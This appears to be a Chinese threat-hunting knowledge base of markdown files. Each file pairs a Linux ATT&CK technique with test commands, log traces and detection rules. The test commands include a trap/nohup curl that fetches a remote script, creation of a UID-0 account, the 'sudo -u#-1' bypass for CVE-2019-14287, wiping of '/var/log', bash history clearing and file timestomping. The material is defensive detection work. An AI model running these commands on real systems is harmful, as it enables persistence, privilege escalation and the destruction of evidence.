<https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_perl_tty_shell.toml>
================================================
FILE: Linux/04执行/T1154-linux-trap.md
================================================
# T1154-Linux-trap
## 来自ATT&CK的描述
该`trap`命令允许程序和shell指定在接收中断信号时将执行的命令。常见的情况是脚本允许正常终止和处理常见的键盘中断,如`ctrl+c`和`ctrl+d`。攻击者可以使用它来注册当shell遇到特定中断以执行或作为持久性机制时要执行的代码。陷阱命令具有以下格式`trap 'command list' signals`,其中当接收到“信号”时将执行“命令列表”。
## 测试案例
```
bash
trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh # 脚本即使在退出后(ctrl + c)也会继续执行程序/脚本。
trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh
```
关于trap、nohup命令的更多解释,你可以查看参考链接部分。
## 检测日志
bash历史命令
## 测试复现
```
bash
icbc@icbc:/$ trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh
> ^C
```
## 测试留痕
```
bash
icbc@icbc:/$ history
693 trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh
```
## 检测规则/思路
### splunk规则
index=linux sourcetype=bash_history "trap *" | table host,user_name,bash_command
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1154
<https://attack.mitre.org/techniques/T1154/>
linux下trap命令详解
<https://blog.csdn.net/carolzhang8406/article/details/46504415/>
linux下nohup命令浅析
<https://www.bbsmax.com/A/kjdw9606JN/>
================================================
FILE: Linux/05权限维持/T1098-004-linux-账户操纵-SSH Authorized Keys.md
================================================
# T1098-004-Linux-账户操纵-SSH Authorized Keys
## 来自ATT&CK的描述
攻击者可能会修改SSH `authorized_keys`文件来维持对目标主机的持久访问。 Linux发行版和macOS通常会对远程管理的SSH会话采用基于密钥的身份验证过程。SSH中的`authorized_keys`文件指定了登录用户账户(该文件就是为此账户而配置)需要用到的SSH密钥。此文件通常位于用户home目录中的`<user-home>/.ssh/authorized_keys`下(引自:SSH Authorized Keys)。用户可能会编辑系统的SSH配置文件,将PubkeyAuthentication 和RSAAuthentication 设置为“yes”来启用公钥和RSA身份验证。SSH配置文件通常位于`/etc/ssh/sshd_config`下。
攻击者可能会直接通过脚本或shell命令修改SSH `authorized_keys`文件,添加他们自己提供的公共密钥。然后,拥有相应私钥的攻击者就可以通过SSH以现有用户身份登录(引自:Venafi SSH Key Abuse)(引自:Cybereason Linux Exim Worm)。
## 测试案例
### 通过写入SSH公钥在Linux系统上实现持久化
#### 攻击机生成公钥
首先在Kali攻击机生成公钥和私钥,其中id_rsa.pub为公钥,id_rsa为私钥。
```
bash
ssh-keygen -t rsa
```
#### 在靶机写入公钥
将kali攻击机中生成的公钥id_rsa.pub内容写入到靶机中
`echo "xxx" >> ~/.ssh/authorized_keys`
#### 攻击机实现免密码登录靶机
使用`ssh`命令直接连接靶机
`ssh root@10.255.30.21`
## 检测日志
无
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
### 建议
使用文件完整性监控来检测系统上每个用户对`authorized_keys`文件所做的更改。监控可疑进程是否修改了`authorized_keys`文件。
监控修改`/etc/ssh/sshd_config`的更改和可疑进程。
## 相关TIP
[[Threathunting-book/5-权限维持/T1098-win-万能密码]]
[[Threathunting-book/5-权限维持/T1098-win-账户操作]]
[[T1098-win-AdminSDHolder]]
## 参考推荐
MITRE-ATT&CK-T1098-001
<https://attack.mitre.org/techniques/T1098/001/>
================================================
FILE: Linux/05权限维持/T1136-001-linux-创建账户.md
================================================
# T1136-001-Linux-创建用户
## 来自ATT&CK的描述
攻击者拥有足够的访问权限可以创建本地账户或者域账户。此类账户可以用于权限维持,持久性,不需要在系统上部署后门工具来实现权限维持。
这些Net user命令可用于创建本地或域账户。
## 测试案例
useradd -o -u 0 -g 0 -M -d / root -s / bin / bash#{用户名}
## 检测日志
/var/log/auth.log (如果可以的话,我更希望你能够使用audit日志进行检测,它会很方便)
## 测试复现
icbc@icbc:/$ sudo useradd -o -u 0 -g 0 -M -d /root -s /bin/bash abc(用户名)
icbc@icbc:/$ cat /etc/passwd
root: x:0:0:root:/root:/bin/bash
......
abc: x:0:0:root:/root:/bin/bash
## 测试留痕
icbc@icbc:/$sudo cat /var/log/auth.log
Aug 9 13:42:33 icbc sudo: icbc : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/useradd -o -u 0 -g 0 -M -d /root -s /bin/bash abc
Aug 9 13:42:34 icbc sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Aug 9 13:42:34 icbc useradd[18979]: new user: name=abc, UID=0, GID=0, home=/root, shell=/bin/bash
## 检测规则/思路
```
audit
Root Account Creation: index=linux source="/var/log/auth.log" eventtype=useradd UID=0 OR GID=0
```
## 相关TIP
[[T1136-001-win-创建本地账户]]
## 参考推荐
MITRE-ATT&CK-T1136-001
<https://attack.mitre.org/techniques/T1136/001/>
linux命令详解之useradd命令使用方法
<https://blog.csdn.net/u011537073/article/details/51987121>
================================================
FILE: Linux/05权限维持/T1546-004-linux-.bash_profile and .bashrc.md
================================================
# T1546-004-Linux-.bash_profile和.bashrc
## 来自ATT&CK的描述
`~/.bash_profile`和.bashrc是在新shell打开时或用户登录时在用户的上下文中执行,以便正确设置其环境。为登录shell执行,并为交互式非登录shell执行。这意味着当用户(通过用户名和密码)登录到控制台(本地或通过SSH等远程登录)时,会在将初始命令提示符返回给用户之前执行。每次打开新的shell时都会执行。这允许用户在需要执行某些命令时进行更细粒度的控制。
这些文件是由本地用户编写的,用于配置自己的环境; 但是,每次用户登录或打开新的shell时,攻击者可以在这些文件中插入代码以获得持久性。
## 测试案例
echo“#{command_to_add}”>>〜/ .bashrc
echo“#{command_to_add}”>>〜/ .bash_profile
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
暂无
## 测试留痕
linux_audit日志
type=SYSCALL msg=audit(1565526007.269:5543): arch=c000003e syscall=59 success=yes exit=0 a0=5637bba2a518 a1=5637bba32968 a2=5637bba30130 a3=fffffffffffff000 items=2 ppid=7724 pid=7725 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=3 comm="echo" exe="/usr/bin/echo" key="auditcmd"
type=EXECVE msg=audit(1565526007.269:5543): argc=2 a0="echo" a1="/home/icbc/1.sh"
type=CWD msg=audit(1565526007.269:5543): cwd="/home/icbc"
......
type=SYSCALL msg=audit(1565526021.625:5547): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=5610372c7240 a2=441 a3=1b6 items=2 ppid=4356 pid=7726 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=3 comm="bash" exe="/usr/bin/bash" key="bashrc_changes"
bash历史记录
icbc@icbc:~$ history
100 sudo echo "/home/icbc/1.sh">> ~/.bashrc
101 sudo echo "/home/icbc/1.sh">> ~/.bash_profile
## 检测规则/思路
### 基于audit检测
index = linux sourcetype = linux_audit bashrc_changes
值得注意的是你要手动配置自己的检测规则,如下:
- w /home/user/.bashrc -p wa -k bashrc_changes
- w /home/user/.bash_profile -p wa -k bashrc_changes
注意:我们需要为每个用户的bashrc和bash_profile文件添加审核规则。在audit规则中不接受正则表达式,所以我们无法创建这样的监视规则:/home/*/.bash_history
### 基于bash历史记录
index=linux sourcetype=bash_history bash_command="nano .bashrc" OR bash_command="vi .bashrc" OR echo .bashrc | table host,user_name,bash_command
index=linux sourcetype=bash_history bash_command="nano .bashrc_profile" OR bash_command="vi .bashrc_profile" OR echo .bashrc_profile | table host,user_name,bash_command
#### sigma检测规则
```
YML
title: 编辑修改.bash_profile和.bashrc
status: experimental
description: 检测用户环境的变化。攻击者可以在这些文件中插入代码,以便在每次用户登录或打开新shell时获得持久性。
references:
- 'MITRE Attack technique T1156; .bash_profile and .bashrc. '
date: 2019/05/12
tags:
- attack.s0003
- attack.t1156
- attack.persistence
- attack.t1546.004
author: Peter Matkovski
translator: 12306Bro
logsource:
product: linux
service: auditd #auditd 日志
detection:
selection:
type: 'PATH' #路径
name:
- '/home/*/.bashrc'
- '/home/*/.bash_profile'
- '/home/*/.profile'
- '/etc/profile'
- '/etc/shells'
- '/etc/bashrc'
- '/etc/csh.cshrc'
- '/etc/csh.login'
condition: selection
falsepositives:
- Admin or User activity
level: medium
```
## 参考推荐
MITRE-ATT&CK-T1546-004
<https://attack.mitre.org/techniques/T1546/004/>
================================================
FILE: Linux/05权限维持/T1548-001-linux-Setuid and Setgid.md
================================================
# T1548-001-Linux-Setuid and Setgid
## 来自ATT&CK的描述
攻击者可以使用setuid或setgid位执行shell转义或利用应用程序中的漏洞来获取在不同用户上下文中运行的代码。在Linux或macOS上,当为应用程序设置了setuid或setgid位时,该应用程序将分别以拥有用户或组的特权运行。通常,应用程序是在当前用户的上下文中运行的,而不管哪个用户或组拥有该应用程序。但是,在某些情况下,需要在提升权限的上下文中执行程序才能正常运行,但运行它们的用户不需要提升权限。
任何用户都可以为自己的应用程序设置setuid或setgid标志,而不必在sudoers文件中创建条目(必须由root用户完成)。通过查看文件属性时,这些位用“s”而不是“x”表示ls -l。该chmod程序能够经由bitmasking设置这些位与,chmod 4777 [file]或通过速记命名,chmod u+s [file]。
攻击者可以对自己的恶意软件使用此机制,以确保他们将来能够在提升的环境中执行。
### 关于Setuid and Setgid详解
文件权限的机制是Linux系统的一大特色,对于初学Linux的人对可读(r)、可写(w)、可执行(x)这都是比较基本的权限。一个文件的权限有十个位,分为三组来表示。第一个位为一组,表示文件的类型:
- :表示一般文件
d:表示目录文件
l:表示链接文件
b:表示块设备
c:表示字符设备
p:表示管道
s:表示套接字
但是Linux还有三个比较特殊的权限,分别是:setuid,setgid,stick bit (粘滞位)。
setuid: 设置使文件在执行阶段具有文件所有者的权限. 典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码。
setgid: 该权限只对目录有效. 目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组。
stick bit: 该位可以理解为防删除位. 一个文件是否可以被某用户删除, 主要取决于该文件所属的组是否对该用户具有写权限. 如果没有写权限, 则这个目录下的所有文件都不能被删除, 同时也不能添加新的文件. 如果希望用户能够添加文件但同时不能删除文件, 则可以对文件使用stick bit位. 设置该位后, 就算用户对目录具有写权限, 也不能删除该文件。
## 测试案例
操作这些标志与操作文件权限的命令是一样的, 都是 chmod. 有两种方法来操作:
### 方法一
chmod u+s xxx # 设置setuid权限,加上setuid标志(setuid 只对文件有效)
chmod g+s xxx # 设置setgid权限,加上setgid标志 (setgid 只对目录有效)
chmod o+t xxx # 设置stick bit权限,针对目录
### 方法二
采用八进制方式. 对一般文件通过三组八进制数字来置标志, 如 666, 777, 644等. 如果设置这些特殊标志, 则在这组
数字之外外加一组八进制数字. 如4666, 2777等
chmod 4775 xxx # 设置setuid权限
chmod 2775 xxx # 设置setgid权限
chmod 1775 xxx # 设置stick bit权限,针对目录
在这里只讲第一位8进制代表权限
0: 不设置特殊权限
1:只设置sticky
2:只设置SGID
3:只设置SGID和sticky
4:只设置SUID
5:只设置SUID和sticky
6:只设置SUID和SGID
7:设置3种权限
设置完这些标志后, 可以用 ls -l 来查看. 如果有这些标志, 则会在原来的执行标志位置上显示。那么原来的执行标志x到哪里去了呢? 系统是这样规定的, 如果本来在该位上有x, 则这些特殊标志显示为小写字母 (s, s, t). 否则, 显示为大写字母 (S, S, T)。
注:在UNIX系统家族里,文件或目录权限的控制分别以读取,写入,执行3种一般权限来区分,另有3种特殊权限
可供运用,再搭配拥有者与所属群组管理权限范围。您可以使用chmod指令去变更文件与目录的权限,设置方式
采用文字或数字代号皆可。符号连接的权限无法变更,如果您对符号连接修改权限,其改变会作用在被连接的原始
文件。权限范围的表示法如下:
u:User,即文件或目录的拥有者。
g:Group,即文件或目录的所属群组。
o:Other,除了文件或目录拥有者或所属群组之外,其他用户皆属于这个范围。
a:All,即全部的用户,包含拥有者,所属群组以及其他用户。
有关权限代号的部分,列表于下:
r:读取权限,数字代号为"4"。
w:写入权限,数字代号为"2"。
x:执行或切换权限,数字代号为"1"。
- :不具任何权限,数字代号为"0"。
s:特殊?b>功能说明:变更文件或目录的权限。
## 检测日志
bash历史记录
## 测试复现
### 方法一/
icbc@icbc:/hacker$ ls -l
- rw-r--r-- 1 root root 0 7月 19 17:22 bas.txt
icbc@icbc:/hacker$ sudo chmod u+s bas.txt
icbc@icbc:/hacker$ ls -l
- rwSr--r-- 1 root root 0 7月 19 17:22 bas.txt
icbc@icbc:/hacker$ sudo chmod g+s bas.txt
icbc@icbc:/hacker$ ls -l
- rwSr-Sr-- 1 root root 0 7月 19 17:22 bas.txt
### 方法二/
icbc@icbc:/hacker$ ls -l
- rwxr-xr-x 1 root root 0 8月 28 15:16 admin.txt
icbc@icbc:/hacker$ sudo chmod 4777 admin.txt
icbc@icbc:/hacker$ ls -l
- rwsrwxrwx 1 root root 0 8月 28 15:16 admin.txt
icbc@icbc:/hacker$ sudo chmod 2777 admin.txt
icbc@icbc:/hacker$ ls -l
- rwxrwsrwx 1 root root 0 8月 28 15:16 admin.txt
## 测试留痕
### 方法一 /
icbc@icbc:/hacker$ history
650 chmod u+s bas.txt
651 sudo chmod u+s bas.txt
652 ls -l
653 sudo chmod g+s bas.txt
### 方法二 /
icbc@icbc:/hacker$ history
683 sudo chmod 4777 admin.txt
684 ls -l
685 sudo chmod 2777 admin.txt
## 检测规则/思路
splunk检测规则:index=linux sourcetype=bash_history "chmod `4***`" OR "chmod `2***`" OR "chmod u+s" OR "chmod g+s" | table host,user_name,bash_command
## 参考推荐
MITRE-ATT&CK-T1548-001
<https://attack.mitre.org/techniques/T1548/001/>
linux文件特殊权限
<https://www.cnblogs.com/patriot/p/7874725.html>
linux中chmod命令详解
<https://www.cnblogs.com/lianstyle/p/8571975.html>
linux下的chmod参数详解
<https://blog.csdn.net/taiyang1987912/article/details/41121131>
================================================
FILE: Linux/06权限提升/T1548-003-linux-CVE-2019-14287.md
================================================
# T1548-003-Linux-CVE-2019-14287
## 来自ATT&CK的描述
sudoers文件`/etc/sudoers`描述了哪些用户可以运行哪些命令以及从哪些终端运行。这还描述了用户可以作为其他用户或组运行的命令。这提供了最小特权的概念,使得用户在大多数时间以最低可能的权限运行,并且仅在需要时提升到其他用户或权限,通常通过提示输入密码。但是,sudoers文件还可以指定何时不提示用户输入类似`user1 ALL=(ALL) NOPASSWD: ALL` [[1\]](https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/)的行的密码。
攻击者可以利用这些配置来执行其他用户的命令或生成具有更高权限的进程。您必须具有提升权限才能编辑此文件。
## 测试案例
**CVE-2019-14287**
如果将sudo配置为允许用户通过Runas规范中定义的ALL关键字来以任意用户身份运行命令的话,那么攻击者将有可能通过制定用户ID -1或4294967295来以root权限执行恶意命令。
当sudo被配置为 【允许用户基于Runas规范中定义的ALL关键字,以任意用户身份执行命令】时,可以通过指定特定的用户id(如-1或者4294967295)以root身份运行命令,尽管Runas规范中明确规范了禁止root访问,但只要Runas规范中优先出现了ALL关键字,具有足够sudo特权的用户就可以使用此命令以root身份运行命令
以这种方式运行的命令,日志会把用户id记录为4294967295,而非root。此外,PAM会话不会干预此命令的执行。
\#Runas规范:指sudo配置文件(一般为/etc/sudoers) 中定义的用户执行权限规则
\#PAM(可插入身份验证模块):PAM将程序开发与认证方式进行分离,程序在运行时调用附加的“认证”模块完成自己的工作。本地系统管理员通过配置选择要使用某种认证模块。
**影响版本**:sudo 1.8.28 以下版本
## 检测日志
linux auth.log日志,无需刻意配置。
模拟环境:ubuntu 19.04
## 测试复现
步骤如下:
1、创建普通用户账户;
2、切换root权限,修改/etc/sudoers 配置文件写入如下规则
```
dos
abc ALL = (ALL, !root) /usr/bin/vi
```
3、值得注意的是:你需要修改/etc/sudoers的读写权限,否则你无法对此文件进行写入。同时,在写入完成之后,你需要修改此文件的权限为只读
```
shell
chmod u+w /etc/sudoers (修改权限,默认只读)
chmod u-w /etc/sudoers (只读权限,很重要)
```
4、测试:执行sudo vi 无权限
执行sudo -u#-1 vi 突破限制成功以root身份执行
## 测试留痕
```
history
Oct 18 11:09:54 icbc sudo: test321 : TTY=pts/1 ; PWD=/ ; USER=#-1 ; COMMAND=/usr/bin/id
Oct 18 11:11:59 icbc sudo: test321 : TTY=pts/1 ; PWD=/ ; USER=#4294967295 ; COMMAND=/usr/bin/id
```
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2019-14287 sudo 配置不当-权限提升
description: Ubuntu19.04 x64测试结果(当sudo配置为允许用户通过Runas规范中的ALL关键字以任意用户身份运行命令时,可以按通过指定用户ID-1或4294967295成为root用户。具有足够sudo特权的用户可以使用它来以root身份运行命令,即使Runas规范明确禁止root用户访问,只要在Runas规范
条件中首先列出ALL关键字即可)
references: https://sysdig.com/blog/detecting-cve-2019-14287/
tags: T1548-003
status: experimental
author: Blue team
logsource:
product: linux
detection:
selection:
proc.name: 'sudo:'
proc.USER:
- '#-1'
- '#4294967295'
condition: selection
level: medium
```
### 建议
暂无
## 缓解措施
目前主要影响以下版本:
sudo -V < 1.8.28
升级sudo版本至1.8.28以上
## 相关TIP
[[T1548-003-linux-Sudo]]
[[T1548-002-win-绕过用户账户控制-Eventvwr.exe(白名单)]]
[[T1548-003-linux-Sudo]]
## 参考推荐
MITRE-ATT&CK-T1548-003
<https://attack.mitre.org/techniques/T1548/003/>
检测CVE-2019-14287
<https://sysdig.com/blog/detecting-cve-2019-14287/>
================================================
FILE: Linux/06权限提升/T1548-003-linux-Sudo.md
================================================
# T1169-Linux-Sudo
## 来自ATT&CK的描述
sudoers文件`/etc/sudoers`描述了哪些用户可以运行哪些命令以及从哪些终端运行。这还描述了用户可以作为其他用户或组运行的命令。这提供了最小特权的概念,使得用户在大多数时间以最低可能的权限运行,并且仅在需要时提升到其他用户或权限,通常通过提示输入密码。但是,sudoers文件还可以指定何时不提示用户输入类似`user1 ALL=(ALL) NOPASSWD: ALL` [[1\]](https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/)的行的密码。
攻击者可以利用这些配置来执行其他用户的命令或生成具有更高权限的进程。您必须具有提升权限才能编辑此文件。
## 测试案例
cat /etc/sudoers
vim /etc/sudoers
值得注意的是:攻击者可以利用这些配置来执行其他用户的命令或生成具有更高权限的进程。您必须具有提升权限才能编辑此文件。
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
## 测试复现
### 场景一
icbc@icbc:/$ sudo cat /etc/sudoers
### 场景二
icbc@icbc:/$ sudo vim /etc/sudoers
## 测试留痕
type=USER_CMD msg=audit(1563520773.609:436): pid=3530 uid=1000 auid=1000 ses=3 msg='cwd="/" cmd=636174202F6574632F7375646F657273 terminal=pts/0 res=success'
值得注意的是:这里只提取出了异常日志,故省略了很多日志细节。
## 检测规则/规则
### splunk规则
```
yml
index=linux sourcetype="linux_audit" sudoers_110
```
值得注意的是:你需要自行配置Audit审核规则:root@icbc:~# auditctl -w /etc/sudoers -p war -k sudoers_110
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1548-003
<https://attack.mitre.org/techniques/T1548/003/>
Audit配置手册
<https://www.cnblogs.com/bldly1989/p/7204358.html>
================================================
FILE: Linux/07逃避防御/T1027-005-linux-主机上的监测组件删除.md
================================================
# T1027-005-Linux-主机上的监测组件删除
## 来自ATT&CK的描述
攻击者可能会删除或更改主机系统上生成的记录,包括日志和可能捕获的文件,例如隔离的恶意软件。日志的位置和格式会有所不同,但攻击者的操作行为都会被操作系统进行记录,比如典型的windows日志、linux和Mac的bash历史记录或者/var/log下的日志文件。
攻击者干扰事件的记录,可以破坏安全设备的检测与告警,从而导致恶意攻击事件未被通报。由于缺乏足够的数据来确定发生的异常情况,还可能使安全人员的分析和事件响应更加困难。
## 测试案例
rm -rf /var/log/*
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
icbc@icbc:/$ sudo rm -r /var/log/icbc.log
## 测试留痕
基于audit日志
暂无
基于bash历史记录
icbc@icbc:/$ history
20 sudo rm -r /var/log/icbc.log (注意这里删除的是测试log文件)
## 检测规则/思路
### splunk检测规则
#### 基于audit日志
index=linux sourcetype=linux_audit syscall=263 | table host,auid,uid,euid,exe,key
index=linux sourcetype=linux_audit type=PATH name=*.log nametype=delete
#### 基于bash历史记录
index=linux sourcetype="bash_history" rm * .log | table host, user_name, bash_command
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1027-005
<https://attack.mitre.org/techniques/T1027/005/>
================================================
FILE: Linux/07逃避防御/T1070-002-清除Linux或Mac系统日志.md
================================================
# T1070-002-Linux-清除Linux或Mac系统日志
## 来自ATT&CK的描述
攻击者可能会清除系统日志以隐藏入侵证据。macOS和Linux都通过系统日志跟踪系统或用户启动的操作。大多数本机系统日志记录存储在/var/log/目录。 此目录中的子文件夹按其相关功能对日志进行分类,例如:
- /var/log/messages::一般和系统相关的消息
- /var/log/secure或者/var/log/auth.log: 认证日志
- /var/log/utmp或者/var/log/wtmp: 登录记录
- /var/log/kern.log: 内核日志
- /var/log/cron.log: Cron 日志
- /var/log/maillog: 邮件服务器日志
- /var/log/httpd/: Web 服务器访问和错误日志
## 测试案例
删除/var/log/auth.log日志文件
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
## 测试复现
```
bash
yyds@12306Br0:/var/log/audit$ sudo rm -r /var/log/auth.log
```
## 测试留痕
基于audit日志
```
yml
type=EXECVE msg=audit(1654605114.800:8206): argc=3 a0="rm" a1="-r" a2="/var/log/auth.log"
```
## 检测规则/思路
### elastic规则
```
yml
query = '''
file where event.type == "deletion" and
file.path :
(
"/var/run/utmp",
"/var/log/wtmp",
"/var/log/btmp",
"/var/log/lastlog",
"/var/log/faillog",
"/var/log/syslog",
"/var/log/messages",
"/var/log/secure",
"/var/log/auth.log"
)
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1070-002
<https://attack.mitre.org/techniques/T1070/002/>
defense_evasion_log_files_deleted
<https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_log_files_deleted.toml>
================================================
FILE: Linux/07逃避防御/T1070-003-linux-清除历史记录.md
================================================
# T1070-003-Linux-清除历史记录
## 来自ATT&CK的描述
macOS和Linux都会跟踪用户在终端中输入的命令,以便用户可以轻松记住他们所做的事情。可以通过几种不同的方式访问这些日志。用户在登录后,将在环境变量指向的文件中跟踪此命令历史记录HISTFILE。当用户注销系统时,此信息将更新到用户主目录中的文件中~/.bash_history。这样做的好处是它允许用户查看他们之前在不同会话中使用过的命令。由于保存了在命令行上输入的所有内容,因此也会保存在命令行上输入的密码。攻击者可以通过滥用此功能在这些文件中搜索明文密码。此外,攻击者可以使用的方法不同,你需要防止自己的历史记录中出现这些命令,例如unset HISTFILE、export HISTFILESIZE=0、history -c、rm ~/.bash_history。
## 测试案例
rm ~/.bash_history
echo " " > .bash_history
cat /dev/null > ~/.bash_history
ln -sf /dev/null ~/.bash_history
truncate -s0 ~/.bash_history
unset HISTFILE
export HISTFILESIZE=0
history -c
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
icbc@icbc:~$ rm ~/.bash_history
## 测试留痕
基于audit日志
暂无
基于bash历史记录
icbc@icbc:~$ history
7 rm ~/.bash_history
## 检测规则/思路
### splunk规则
#### 基于audit日志
场景:rm -rf~ / .bash_history
index=linux sourcetype=linux_audit syscall=263 | table time,host,auid,uid,euid,exe,key
index=linux sourcetype=linux_audit type=PATH name=.bash_history nametype=delete | table time,name,nametype
场景:echo " " > .bash_history
index=linux sourcetype="linux_audit" bash_history_changes exe!=/home/ec2-user/splunk/bin/splunkd syscall=257 a2!=0 AND a3!=0 | table host,syscall,syscall_name,exe,auid
#### 基于bash历史记录
index=linux sourcetype="bash_history" "rm * .bash_history" #值得注意的是,这里只做了最简单的演示,比如history -c 是无法通过bash历史记录进行检测的!其他命令如何检测,你可以自行测试记录。
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1070-003
<https://attack.mitre.org/techniques/T1070/003/>
================================================
FILE: Linux/07逃避防御/T1070-004-linux-文件删除.md
================================================
# T1070-004-Linux-文件删除
## 来自ATT&CK的描述
攻击者在系统上删除或创建恶意软件、工具或其他非本机文件,可能会留下关于在主机上执行的操作以及操作方式的痕迹。作为入侵后清理过程的一部分,攻击者可能会在入侵过程中删除这些文件以保持其隐蔽性。
主机操作系统提供了可用于执行清理的工具,但攻击者也可以使用其他工具。示例包括本机cmd功能(如del),安全删除工具(如Windows Sysinternals SDelete)或其他第三方文件删除工具。
## 测试案例
rm -rf abc. text #强制删除abc.txt
rm -f abc.txt #强制删除abc.txt
shred -u abc.txt #彻底粉碎删除文件abc.txt
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
icbc@icbc:~$ rm -r abc.txt
icbc@icbc:~$ shred -u abc.txt
## 测试留痕
基于audit日志
暂无
基于bash历史记录
```
bash
icbc@icbc:~$ history
650 rm -r abc.txt
654 shred -u abc.txt
```
## 检测规则/思路
### splunk规则
#### 基于audit日志
```
sql
index=linux sourcetype=linux_audit syscall=59 comm=shred | table host,auid,msg
index=linux sourcetype=linux_audit type=execve shred .bash_history | table host,msg,a0,a2
index=linux sourcetype=linux_audit syscall=263 | table host,auid,uid,eid,exe
index=linux sourcetype=linux_audit syscall=82 exe=/usr/bin/shred | table host,auid,uid,eid,exe
```
#### 基于bash历史记录
```
sql
index=linux sourcetype="bash_history" bash_command="rm *" OR bash_command="shred -u *"
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1070-004
<https://attack.mitre.org/techniques/T1070/004/>
linux下rm命令详解
<https://www.cnblogs.com/ftl1012/p/9247107.html>
================================================
FILE: Linux/07逃避防御/T1070-006-Linux-Timestamp.md
================================================
# T1070-006-Linux-Timestamp
## 来自ATT&CK的描述
Timestomping是一种修改文件时间(创建时间,修改时间)的技术,通常来将恶意文件和本文件夹其他的文件弄成相同的时间。
## 测试案例
具体参考下方测试复现过程(均需要拥有文件的所有权限)。主要涉及到touch命令的使用。
```
yml
sos@sos-pc:/$ touch --help
用法:touch [选项]... 文件...
将所指定的每个文件的访问时间和修改时间更改为当前时间。
除非提供 -c 或 -h 选项,否则指定不存在的文件将会被创建为空文件。
如果所指定文件名为 - 则特殊处理,程序将更改与标准输出相关联的文件的
访问时间。
必选参数对长短选项同时适用。
- a 只更改访问时间
- c, --no-create 不创建任何文件
- d, --date=字符串 使用指定字符串表示时间而非当前时间
- f (忽略)
- h, --no-dereference 会影响符号链接本身,而非符号链接所指示的目的地
(当系统支持更改符号链接的所有者时,此选项才有用)
- m 只更改修改时间
- r, --reference=文件 使用指定文件的时间属性而非当前时间
- t 时间戳 使用给定 [[CC]YY]MMDDhhmm[.ss] 的时间戳而非当前时间
- -time=类型 修改指定类型的时间:
若所指定类型是 access、atime 或 use:与 -a 等效
若所指定类型是 modify 或 mtime:与 -m 等效
- -help 显示此帮助信息并退出
- -version 显示版本信息并退出
请注意,-d 和-t 选项可接受不同的时间/日期格式。
GNU coreutils 在线帮助:<https://www.gnu.org/software/coreutils/>
请向 <http://translationproject.org/team/zh_CN.html> 报告 touch 的翻译错误
完整文档请见:<https://www.gnu.org/software/coreutils/touch>
或者在本地使用:info '(coreutils) touch invocation'
```
## 检测日志
Linux Audit、History
## 测试复现
### 测试1 SET A FILE’S ACCESS TIMESTAMP
```
bash
touch -a -t 197001010000.00 #{target_filename}
```
查看
```
bash
sos@sos-pc:/hacker$ sudo touch -a -t 197001010000.00 test.txt
sos@sos-pc:/hacker$ stat test.txt
文件:test.txt
大小:0 块:0 IO 块:4096 普通空文件
设备:805h/2053d Inode:3018665 硬链接:1
权限:(0644/-rw-r--r--) Uid:( 0/ root) Gid:( 0/ root)
最近访问:1970-01-01 00:00:00.000000000 +0800
最近更改:2022-01-09 19:47:00.397395450 +0800
最近改动:2022-01-09 19:47:09.966100333 +0800
创建时间:-
```
成功复现
### 测试2 SET A FILE’S MODIFICATION TIMESTAMP
```
bash
touch -m -t 197001010000.00 #{target_filename}
```
查看
```
bash
sos@sos-pc:/hacker$ stat test.txt
文件:test.txt
大小:0 块:0 IO 块:4096 普通空文件
设备:805h/2053d Inode:3018665 硬链接:1
权限:(0644/-rw-r--r--) Uid:( 0/ root) Gid:( 0/ root)
最近访问:1970-01-01 00:00:00.000000000 +0800
最近更改:2090-01-01 00:00:00.000000000 +0800
最近改动:2022-01-09 19:48:28.929618189 +0800
创建时间:-
```
成功复现
### 测试3 SET A FILE’S CREATION TIMESTAMP
先修改系统时间,然后创建文件,然后再把系统时间修改过来
```
bash
date -s "1990-01-01 00:00:00"
touch #{target_filename}
date -s "$NOW"
```
未复现成功
### 测试4 MODIFY FILE TIMESTAMPS USING REFERENCE FILE
```
bash
touch -acmr #{reference_file_path} {target_file_path}
```
查看
```
bash
sos@sos-pc:/hacker$ sudo touch -acmr /hacker/hfish/config.ini /hacker/one.txt
sos@sos-pc:/hacker$ stat one.txt
文件:one.txt
大小:0 块:0 IO 块:4096 普通空文件
设备:805h/2053d Inode:3018666 硬链接:1
